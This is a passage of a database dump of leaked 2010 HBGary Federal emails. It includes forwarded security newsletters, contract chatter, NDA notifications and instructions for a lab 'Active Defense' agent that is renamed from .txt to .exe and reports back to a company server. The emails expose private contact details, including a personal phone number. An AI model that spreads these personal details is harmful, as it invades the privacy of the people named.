~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n> \r\n> Security firm: Apple has more security holes than anyone\r\n> \r\n> Here\'s another blow to those insist that Apple products are rock solid\r\n> and\r\n> unhackable: The security company Secunia reports that Apple products\r\n> have more\r\n> vulnerabilities than those of any other company. Oracle came in second\r\n> place,\r\n> with Microsoft in third.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305486/0/\r\n> \r\n> Mozilla patches 16 security bugs in Firefox 3.6\r\n> \r\n> Mozilla on Tuesday patched 16 vulnerabilities, nine of them critical, in\r\n> Firefox\r\n> 3.6, the largest update for the open-source browser since March.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305487/0/\r\n> \r\n> Richi Jennings: Horrible Safari privacy bug: take action now\r\n> \r\n> If you use the Safari web browser, listen up. Your browser may be\r\n> leaking your\r\n> private information to any website you visit. Let\'s take a look, in The\r\n> Long\r\n> View\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305488/0/\r\n> \r\n> Microsoft warns of Windows shortcut drive-by attacks\r\n> \r\n> Hackers could exploit the unpatched Windows shortcut vulnerability using\r\n> drive-by download attacks that trigger an infection when people simply\r\n> surf to a\r\n> malicious Web site, Microsoft said.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305489/0/\r\n> \r\n> ~~~~~~~~~~~~~~~~~~~WHITE PAPER: Brocade~~~~~~~~~~~~~~~~~~~~~\r\n> \r\n> Comprehensive Enterprise Security\r\n> \r\n> Learn how combining Brocade\'s high-performance infrastructure and\r\n> McAfee\'s Web\r\n> gateway solution ensures that organizations have the secure and trusted\r\n> environments they demand.\r\n> \r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305496/0/?3e076d18\r\n> =c3RldmVuLndpbnRlcmZlbGRAbmdjLmNvbQ%3d%3d&x=bf608276\r\n> \r\n> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n> \r\n> New \'Kraken\' GSM-cracking software is released\r\n> \r\n> The (Global System for Mobile Communications) technology used by the\r\n> majority of\r\n> the world\'s mobile phones will get some scrutiny at next week\'s Black\r\n> Hat\r\n> security conference, and what the security researchers there have to say\r\n> isn\'t\r\n> pretty.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305490/0/\r\n> \r\n> Corporate ID theft hits Georgia businesses\r\n> \r\n> Just days after Colorado officials warned businesses about scammers who\r\n> are\r\n> forging corporate identities to commit financial fraud, an official in\r\n> Georgia\r\n> said the same has been happening in that state as well.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305491/0/\r\n> \r\n> First true SCADA-specific malware detected\r\n> \r\n> SCADA systems have been identified as a potential vulnerability since\r\n> Y2K. Now,\r\n> for the first and not last time, a SCADA-specific piece of malware\r\n> (W32.Stuxnet)\r\n> has been detected. This is a cause for concern and a call to action.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305492/0/\r\n> \r\n> Microsoft releases beta of upgraded Security Essentials\r\n> \r\n> Microsoft has released a beta for the next version of its free security\r\n> software, Security Essentials, according to a blog post.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305493/0/\r\n> \r\n> Design that ensures security, also emphasizes style\r\n> \r\n> Can security, often seen as obvious and ugly, actually be stylish and\r\n> suitable\r\n> for a building? Architect Rick Reeder gives us a tour of a property he\r\n> designed\r\n> with artful security as the goal\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305494/0/\r\n> \r\n> \r\n> ===============================================================\r\n> \r\n> SHARK TANK\r\n> ___________\r\n> \r\n> Bad bosses, useless users, clueless consultants, lyrical limericks --\r\n> it\'s all\r\n> in a day\'s tank for Sharky. Join him and his pilot fish for a daily dose\r\n> of IT\r\n> from the trenches.\r\n> \r\n> Submit your true IT tale, and if Sharky takes a bite, he\'ll send you a\r\n> sharp\r\n> Shark shirt!\r\n> \r\n> http://cwflyris.computerworld.com/t/6600147/623466301/256230/0/\r\n> \r\n> NEW COMPUTERWORLD JOB BOARD\r\n> ______________________________\r\n> \r\n> Search multiple listings now and get new job alerts as they are posted.\r\n> \r\n> http://cwflyris.computerworld.com/t/6600147/623466301/156832/0/\r\n> \r\n> \r\n> Do You Tweet?\r\n> \r\n> Follow everything from Computerworld.com on Twitter @computerworld\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/126780/0/\r\n> \r\n> ===============================================================\r\n> \r\n> CONTACTS/SUBSCRIPTIONS\r\n> \r\n> You are currently subscribed to computerworld_security as:\r\n> steven.winterfeld@ngc.com.\r\n> \r\n> To unsubscribe from this newsletter, go to:\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/131135/0/?90482085\r\n> =aHR0cDovL2N3Zmx5cmlzLmNvbXB1dGVyd29ybGQuY29tL3U%2faWQ9NjIzNDY2MzAxLjIwN\r\n> TI0MTQ4NzFhMDQzMmIzNDI4M2FlYzUxMTJhM2M1Jm49VCZsPWNvbXB1dGVyd29ybGRfc2Vjd\r\n> XJpdHkmbz02NjAwMTQ3&x=1f1e8bef\r\n> \r\n> To manage your subscription preferences, go to: \r\n> http://cwflyris.computerworld.com/t/6600147/623466301/72510/0/\r\n> \r\n> To subscribe to a newsletter, go to:\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/72511/0/\r\n> \r\n> Computerworld\'s online privacy policy is at:\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/72509/0/\r\n> \r\n> If you are interested in advertising in this newsletter, please contact:\r\n> bglynn@cxo.com\r\n> \r\n> To contact Computerworld, please send an e-mail to\r\n> online@computerworld.com.\r\n> \r\n> Copyright (C) 2010 Computerworld, 492 Old Connecticut Path, Framingham\r\n> MA 01701\r\n> \r\n> ** Please do not reply to this message. If you want to contact someone\r\n> directly, \r\n> send an e-mail to online@computerworld.com **\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5276,'aaron_hbgary_com/5276.html'),(9112,'2010-07-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007010.M721177P14101Q3967.eml','\"Zosh\" <mydocs@zosh.com>','DMI NDA','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13305,'aaron_hbgary_com/13305.html'),(9113,'2010-07-23','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297007011.M71163P14101Q3968.eml','support@zosh.com,support@zosh.com','Error Processing E-mail: aaron@hbgary.com','\r\n\r\nProcessing Error\r\n\r\n\r\n\r\nAn email with the following attachments was received on Fri, Jul 23, \'10 at 9:32 PM from aaron@hbgary.com. \r\nUnfortunately, some attachments in the e-mail could not be converted to a PDF format. As a result, some documents\r\nmay not be available in your Zosh iPhone Application.  This format is still in Beta.\r\n\r\n\r\n\r\nFor up to date info.  @zoshapp.  Please feel free to contact support directly at http://support.zosh.com.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n			  \r\nThank you for using Zosh.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15441,'aaron_hbgary_com/15441.html'),(9114,'2010-07-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007013.M454335P14101Q3969.eml','\"Zosh\" <mydocs@zosh.com>','DMI NDA','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6979,'aaron_hbgary_com/6979.html'),(9115,'2010-07-23','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297007013.M710120P14101Q3970.eml','aaron@hbgary.com','Documents Available','\r\n\r\nDocuments available on Zosh\r\n\r\n\r\n\r\nAn email with the following attachments was received on Fri, Jul 23, \'10 at 9:33 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n    DMI NDA - v5(jf).pdf\r\n\r\n\r\nThese documents are now available in Zosh. \r\n\r\n\r\nStart the Zosh application to view the documents.  If you are already in the Zosh application, \r\nyou may press the refresh button in the top left corner of the Home view.\r\n\r\n\r\n\r\nOur document conversion has been significantly improved as of July 15, 2010.  Please try it out and let us know what you think.\r\nWe use a commerical conversion tool that supports PDF conversion from Word, Excel, Powerpoint, JPG, PNG, GIF, BMP and TIFF\r\n\r\n\r\n			  \r\nThank you for using Zosh.  For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12909,'aaron_hbgary_com/12909.html'),(9116,'2010-07-23','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297007014.M645245P14101Q3971.eml','aaron@hbgary.com','Here is your completed Zosh document.','\r\n\r\nYou just filled out and signed a document on your iPhone!\r\n\r\n\r\n&nbsp;Executed with Zosh www.zosh.com.\r\n\r\n\r\n',7230,'aaron_hbgary_com/7230.html'),(9117,'2010-07-23','aaron@hbgary.com','/aaron@hbgary.com/new/1297007016.M696285P14101Q3972.eml','jfanguy@digitalmanagement.com','DMI-HBGary NDA',' \r\n\r\nExecuted with Zosh www.zosh.com.\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad',8687,'aaron_hbgary_com/8687.html'),(9118,'2010-07-23','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297007017.M263329P14101Q3974.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Fake femme fatale shows social network risks','Sad to see you didn\'t learn your lesson on training with CyberWarrior\r\n\r\nRyan Walters got like $450K to build the NGC cyber warrior academy - they\r\njust taught their first course \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 23, 2010 3:17 PM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: EXTERNAL:Fake femme fatale shows social network risks\r\n\r\nyeah I have been following this story.  Tks.  She is going to brief at\r\nblackhat.  I think we just got our first training course gig with Digital\r\nGlobe.  $35K.  Sweet.\r\n\r\nAaron\r\n\r\nOn Jul 23, 2010, at 8:09 AM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n> Wanted to make sure you saw the femme fatale article \r\n> \r\n> -----Original Message-----\r\n> From: Computerworld Security\r\n> [mailto:computerworld_newsletters@cwonline.computerworld.com] \r\n> Sent: Thursday, July 22, 2010 10:30 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: EXTERNAL:Fake femme fatale shows social network risks\r\n> \r\n> Computerworld Security: July 22, 2010\r\n> ===============================================================\r\n> \r\n> Fake femme fatale shows social network risks\r\n> \r\n> Social networking pages featuring the profile of a fake Navy cyberthreat\r\n> analyst\r\n> attracted some 300 friends in the intelligence, military and security\r\n> communities in an experiment conducted by a security researcher.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305484/0/\r\n> \r\n> ~~~~~~~~~~~~~~~~~~~WHITE PAPER: Brocade~~~~~~~~~~~~~~~~~~~~~\r\n> \r\n> Brocade and IBM Internet Security Systems Solutions\r\n> \r\n> The explosion of data and information makes networking, storage, and\r\n> security\r\n> more important than ever. Trusted by organizations around the globe,\r\n> Brocade and\r\n> IBM ISS bring the networking and security experience, expertise, and\r\n> knowledge\r\n> today\'s enterprises demand.\r\n> \r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305485/0/?3e076d18\r\n> =c3RldmVuLndpbnRlcmZlbGRAbmdjLmNvbQ%3d%3d&x=ac6a6346\r\n> \r\n> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n> \r\n> IN THIS ISSUE\r\n> \r\n> 1. Security firm: Apple has more security holes than anyone\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305486/0/\r\n> \r\n> 2. Mozilla patches 16 security bugs in Firefox 3.6\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305487/0/\r\n> \r\n> 3. Richi Jennings: Horrible Safari privacy bug: take action now\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305488/0/\r\n> \r\n> 4. Microsoft warns of Windows shortcut drive-by attacks\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305489/0/\r\n> \r\n> 5. New \'Kraken\' GSM-cracking software is released\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305490/0/\r\n> \r\n> 6. Corporate ID theft hits Georgia businesses\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305491/0/\r\n> \r\n> 7. First true SCADA-specific malware detected\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305492/0/\r\n> \r\n> 8. Microsoft releases beta of upgraded Security Essentials\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305493/0/\r\n> \r\n> 9. Design that ensures security, also emphasizes style\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305494/0/\r\n> \r\n> \r\n> ~~~~~~~~~~~~~~~~~~~WHITE PAPER: Brocade~~~~~~~~~~~~~~~~~~~~~\r\n> \r\n> Leverage Data Center-Class Networks\r\n> \r\n> If industry predictions are correct, the evolution toward virtualization\r\n> will\r\n> create a profound shift away from long-standing information silos to\r\n> higher\r\n> performance, more scalable and efficient network operations,\r\n> government-wide.\r\n> \r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305495/0/?3e076d18\r\n> =c3RldmVuLndpbnRlcmZlbGRAbmdjLmNvbQ%3d%3d&x=4b72369c\r\n> \r\n> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n> \r\n> Security firm: Apple has more security holes than anyone\r\n> \r\n> Here\'s another blow to those insist that Apple products are rock solid\r\n> and\r\n> unhackable: The security company Secunia reports that Apple products\r\n> have more\r\n> vulnerabilities than those of any other company. Oracle came in second\r\n> place,\r\n> with Microsoft in third.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305486/0/\r\n> \r\n> Mozilla patches 16 security bugs in Firefox 3.6\r\n> \r\n> Mozilla on Tuesday patched 16 vulnerabilities, nine of them critical, in\r\n> Firefox\r\n> 3.6, the largest update for the open-source browser since March.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305487/0/\r\n> \r\n> Richi Jennings: Horrible Safari privacy bug: take action now\r\n> \r\n> If you use the Safari web browser, listen up. Your browser may be\r\n> leaking your\r\n> private information to any website you visit. Let\'s take a look, in The\r\n> Long\r\n> View\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305488/0/\r\n> \r\n> Microsoft warns of Windows shortcut drive-by attacks\r\n> \r\n> Hackers could exploit the unpatched Windows shortcut vulnerability using\r\n> drive-by download attacks that trigger an infection when people simply\r\n> surf to a\r\n> malicious Web site, Microsoft said.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305489/0/\r\n> \r\n> ~~~~~~~~~~~~~~~~~~~WHITE PAPER: Brocade~~~~~~~~~~~~~~~~~~~~~\r\n> \r\n> Comprehensive Enterprise Security\r\n> \r\n> Learn how combining Brocade\'s high-performance infrastructure and\r\n> McAfee\'s Web\r\n> gateway solution ensures that organizations have the secure and trusted\r\n> environments they demand.\r\n> \r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305496/0/?3e076d18\r\n> =c3RldmVuLndpbnRlcmZlbGRAbmdjLmNvbQ%3d%3d&x=bf608276\r\n> \r\n> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n> \r\n> New \'Kraken\' GSM-cracking software is released\r\n> \r\n> The (Global System for Mobile Communications) technology used by the\r\n> majority of\r\n> the world\'s mobile phones will get some scrutiny at next week\'s Black\r\n> Hat\r\n> security conference, and what the security researchers there have to say\r\n> isn\'t\r\n> pretty.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305490/0/\r\n> \r\n> Corporate ID theft hits Georgia businesses\r\n> \r\n> Just days after Colorado officials warned businesses about scammers who\r\n> are\r\n> forging corporate identities to commit financial fraud, an official in\r\n> Georgia\r\n> said the same has been happening in that state as well.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305491/0/\r\n> \r\n> First true SCADA-specific malware detected\r\n> \r\n> SCADA systems have been identified as a potential vulnerability since\r\n> Y2K. Now,\r\n> for the first and not last time, a SCADA-specific piece of malware\r\n> (W32.Stuxnet)\r\n> has been detected. This is a cause for concern and a call to action.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305492/0/\r\n> \r\n> Microsoft releases beta of upgraded Security Essentials\r\n> \r\n> Microsoft has released a beta for the next version of its free security\r\n> software, Security Essentials, according to a blog post.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305493/0/\r\n> \r\n> Design that ensures security, also emphasizes style\r\n> \r\n> Can security, often seen as obvious and ugly, actually be stylish and\r\n> suitable\r\n> for a building? Architect Rick Reeder gives us a tour of a property he\r\n> designed\r\n> with artful security as the goal\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305494/0/\r\n> \r\n> \r\n> ===============================================================\r\n> \r\n> SHARK TANK\r\n> ___________\r\n> \r\n> Bad bosses, useless users, clueless consultants, lyrical limericks --\r\n> it\'s all\r\n> in a day\'s tank for Sharky. Join him and his pilot fish for a daily dose\r\n> of IT\r\n> from the trenches.\r\n> \r\n> Submit your true IT tale, and if Sharky takes a bite, he\'ll send you a\r\n> sharp\r\n> Shark shirt!\r\n> \r\n> http://cwflyris.computerworld.com/t/6600147/623466301/256230/0/\r\n> \r\n> NEW COMPUTERWORLD JOB BOARD\r\n> ______________________________\r\n> \r\n> Search multiple listings now and get new job alerts as they are posted.\r\n> \r\n> http://cwflyris.computerworld.com/t/6600147/623466301/156832/0/\r\n> \r\n> \r\n> Do You Tweet?\r\n> \r\n> Follow everything from Computerworld.com on Twitter @computerworld\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/126780/0/\r\n> \r\n> ===============================================================\r\n> \r\n> CONTACTS/SUBSCRIPTIONS\r\n> \r\n> You are currently subscribed to computerworld_security as:\r\n> steven.winterfeld@ngc.com.\r\n> \r\n> To unsubscribe from this newsletter, go to:\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/131135/0/?90482085\r\n> =aHR0cDovL2N3Zmx5cmlzLmNvbXB1dGVyd29ybGQuY29tL3U%2faWQ9NjIzNDY2MzAxLjIwN\r\n> TI0MTQ4NzFhMDQzMmIzNDI4M2FlYzUxMTJhM2M1Jm49VCZsPWNvbXB1dGVyd29ybGRfc2Vjd\r\n> XJpdHkmbz02NjAwMTQ3&x=1f1e8bef\r\n> \r\n> To manage your subscription preferences, go to: \r\n> http://cwflyris.computerworld.com/t/6600147/623466301/72510/0/\r\n> \r\n> To subscribe to a newsletter, go to:\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/72511/0/\r\n> \r\n> Computerworld\'s online privacy policy is at:\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/72509/0/\r\n> \r\n> If you are interested in advertising in this newsletter, please contact:\r\n> bglynn@cxo.com\r\n> \r\n> To contact Computerworld, please send an e-mail to\r\n> online@computerworld.com.\r\n> \r\n> Copyright (C) 2010 Computerworld, 492 Old Connecticut Path, Framingham\r\n> MA 01701\r\n> \r\n> ** Please do not reply to this message. If you want to contact someone\r\n> directly, \r\n> send an e-mail to online@computerworld.com **\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6876,'aaron_hbgary_com/6876.html'),(9119,'2010-07-23','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297007017.M517549P14101Q3975.eml','aaron@hbgary.com','Seats Still Available for Courses this Summer','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n          \r\n          \r\n  Courses offered in August - September: \r\n  701 Introduction to Electromagnetic Compatibility; Aug. 23, Herndon, VA\r\n  705 Shielded Enclosures; Aug. 24, Herndon, VA\r\n  706 Shielding Effectiveness Testing;&nbsp; Aug. 25-26, Herndon, VA\r\n  707 Construction of Electromagnetically Shielded Enclosures; Aug. 27, Herndon, VA\r\n  340 Automated High Frequency Radio; Aug. 31-Sept. 02\r\n  760 TEMPEST Threat Management, Classified SECRET, US Citizens Only; Sept. 01-02\r\n  203 The U.S. Intelligence Community: Who Does What, With What, for What?; Classified SECRET, US Citizens Only; Sept. 13-15\r\n  755 TEMPEST Professionals Certification Course; Classified SECRET, US Citizens Only; Sept. 28-Oct 1\r\n  360 Implementing IPv6; Sept. 21-24\r\n  907 The Ultimate Government Market Research Workshop; Sept. 28\r\n  906 The Business of Winning: Seven Steps in Government Contracting; Sept. 29-30\r\n  Please go to Course Schedule to view our Fall 2010 Spring 2011 classes. \r\n  For discounted tuition:&nbsp; If you are not already an AFCEA member and want to take advantage of reduced tuitions for members and other benefits, please go to AFCEA International - The Armed Forces Communications and Electronics Association to become a member.\r\n&nbsp;\r\nAll courses will be held in Fairfax, VA unless otherwise noted. \r\n  \r\n    _____________________________________________________________________\r\nFor full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n            \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n\r\n                    \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n\r\n	\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',3695,'aaron_hbgary_com/3695.html'),(9120,'2010-07-23','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007017.M5227P14101Q3973.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,brian_n._christos@oa.eop.gov,\"Penny Leavy\" <penny@hbgary.com>','Invitation: Brian Christos - Greg Hoglund Dinner Meeting @ Wed Jul 28 	10pm - Thu Jul 29, 2010 12am (aaron@hbgary.com)',' more details &raquo;Brian Christos - Greg Hoglund Dinner Meeting WhenWed Jul 28 10pm – Thu Jul 29, 2010 12am Eastern TimeWherePalm Restaurant near Caesars  Penny cell phone 408-316-8002 (map)Calendaraaron@hbgary.comWho&#x2022;Maria Lucas - organizer&#x2022;Greg Hoglund&#x2022;Aaron Barr&#x2022;brian_n._christos@oa.eop.gov&#x2022;Penny LeavyGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',15083,'aaron_hbgary_com/15083.html'),(9121,'2010-07-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007017.M736155P14101Q3976.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: TimeSvr: Toshiba','Handy...Begin forwarded message:From: &quot;[TimeSvr] Owais Khan&quot; &lt;owais.k@timesvr.com&gt;\r\nDate: July 23, 2010 2:56:26 PM MDTTo: Ted@HBGary.comSubject: TimeSvr: Toshiba\r\nHi Ted,I called Toshiba technical support at: 800-457-7777 and spoke to Mark.I informed him that you have shipped the laptop today and gave all the information to him like the tracking number,case number and order number.He said that once they will receive the laptop they will give you a call to notify you that they received it.\r\n\r\n\r\n\r\nOriginal Task:\r\n\r\n\r\n\r\n\r\n\r\nPlease call Toshiba technical support at: 800-457-7777 and inform them that the laptop that I am returning for warranty work was shipped today using their box and UPS label. The tracking number is: 1Z4AR1223838036569.\r\n\r\n\r\n\r\nDetails: Case No: 100720-002576 Order No: T1-1060694\r\n\r\nThanks! TedBest,\r\n\r\nOwais Khan,TimeSvr,415-315-9651,www.TimeSvr.com\r\n\r\n\r\n',7079,'aaron_hbgary_com/7079.html'),(9122,'2010-07-23','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007021.M994657P14101Q3977.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Active Defense Deployable','Try running this on your windows VM. It should report back to our AD server in the lab. \r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n> From: Mark Trynor \r\n> Date: July 23, 2010 4:34:00 PM MDT\r\n> To: Ted Vera \r\n> Subject: Active Defense Deployable\r\n> \r\n\r\n> server : lab.hbgaryfederal.com\r\n> port : 443\r\n> pwd : the one used to log into AD\r\n> \r\n> the install.txt file has the instructions\r\n> rename ddna.txt to .exe\r\n',5794,'aaron_hbgary_com/5794.html'),(9123,'2010-07-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007022.M444912P14101Q3978.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: EXTERNAL:Fake femme fatale shows social network risks','Training is a good model for me.  I don\'t have the laden processes that male short term gigs painful.  30k for a day or 2 day course that more than pays for Ted Andy salary for a month.\r\n\r\nRyan is a boob.  What is he training, today\'s threats - yeah right.  I bet that course is awesome.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 23, 2010, at 4:54 PM, \"Winterfeld, Steven P (TASC)\"  wrote:\r\n\r\n> Sad to see you didn\'t learn your lesson on training with CyberWarrior\r\n> \r\n> Ryan Walters got like $450K to build the NGC cyber warrior academy - they\r\n> just taught their first course \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 23, 2010 3:17 PM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: Re: EXTERNAL:Fake femme fatale shows social network risks\r\n> \r\n> yeah I have been following this story.  Tks.  She is going to brief at\r\n> blackhat.  I think we just got our first training course gig with Digital\r\n> Globe.  $35K.  Sweet.\r\n> \r\n> Aaron\r\n> \r\n> On Jul 23, 2010, at 8:09 AM, Winterfeld, Steven P (TASC) wrote:\r\n> \r\n>> Wanted to make sure you saw the femme fatale article \r\n>> \r\n>> -----Original Message-----\r\n>> From: Computerworld Security\r\n>> [mailto:computerworld_newsletters@cwonline.computerworld.com] \r\n>> Sent: Thursday, July 22, 2010 10:30 AM\r\n>> To: Winterfeld, Steven P (TASC)\r\n>> Subject: EXTERNAL:Fake femme fatale shows social network risks\r\n>> \r\n>> Computerworld Security: July 22, 2010\r\n>> ===============================================================\r\n>> \r\n>> Fake femme fatale shows social network risks\r\n>> \r\n>> Social networking pages featuring the profile of a fake Navy cyberthreat\r\n>> analyst\r\n>> attracted some 300 friends in the intelligence, military and security\r\n>> communities in an experiment conducted by a security researcher.\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305484/0/\r\n>> \r\n>> ~~~~~~~~~~~~~~~~~~~WHITE PAPER: Brocade~~~~~~~~~~~~~~~~~~~~~\r\n>> \r\n>> Brocade and IBM Internet Security Systems Solutions\r\n>> \r\n>> The explosion of data and information makes networking, storage, and\r\n>> security\r\n>> more important than ever. Trusted by organizations around the globe,\r\n>> Brocade and\r\n>> IBM ISS bring the networking and security experience, expertise, and\r\n>> knowledge\r\n>> today\'s enterprises demand.\r\n>> \r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305485/0/?3e076d18\r\n>> =c3RldmVuLndpbnRlcmZlbGRAbmdjLmNvbQ%3d%3d&x=ac6a6346\r\n>> \r\n>> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n>> \r\n>> IN THIS ISSUE\r\n>> \r\n>> 1. Security firm: Apple has more security holes than anyone\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305486/0/\r\n>> \r\n>> 2. Mozilla patches 16 security bugs in Firefox 3.6\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305487/0/\r\n>> \r\n>> 3. Richi Jennings: Horrible Safari privacy bug: take action now\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305488/0/\r\n>> \r\n>> 4. Microsoft warns of Windows shortcut drive-by attacks\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305489/0/\r\n>> \r\n>> 5. New \'Kraken\' GSM-cracking software is released\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305490/0/\r\n>> \r\n>> 6. Corporate ID theft hits Georgia businesses\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305491/0/\r\n>> \r\n>> 7. First true SCADA-specific malware detected\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305492/0/\r\n>> \r\n>> 8. Microsoft releases beta of upgraded Security Essentials\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305493/0/\r\n>> \r\n>> 9. Design that ensures security, also emphasizes style\r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305494/0/\r\n>> \r\n>> \r\n>> ~~~~~~~~~~~~~~~~~~~WHITE PAPER: Brocade~~~~~~~~~~~~~~~~~~~~~\r\n>> \r\n>> Leverage Data Center-Class Networks\r\n>> \r\n>> If industry predictions are correct, the evolution toward virtualization\r\n>> will\r\n>> create a profound shift away from long-standing information silos to\r\n>> higher\r\n>> performance, more scalable and efficient network operations,\r\n>> government-wide.\r\n>> \r\n>> http://cwflyris.computerworld.com/t/6600147/623466301/305495/0/?3e076d18\r\n>> =c3RldmVuLndpbnRlcmZlbGRAbmdjLmNvbQ%3d%3d&x=4b72369c\r\n>> \r\n>> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n>> \r\n>> Security firm: Apple has more security holes than anyone\r\n>> \r\n>> Here\'s another blow to those insist that Apple products are rock solid\r\n>> and\r\n>> unhackable: The security company Secunia reports that Apple products\r\n>> have more\r\n>> vulnerabilities than those of any other company. Oracle came in second\r\n>> place,\r\n>> with 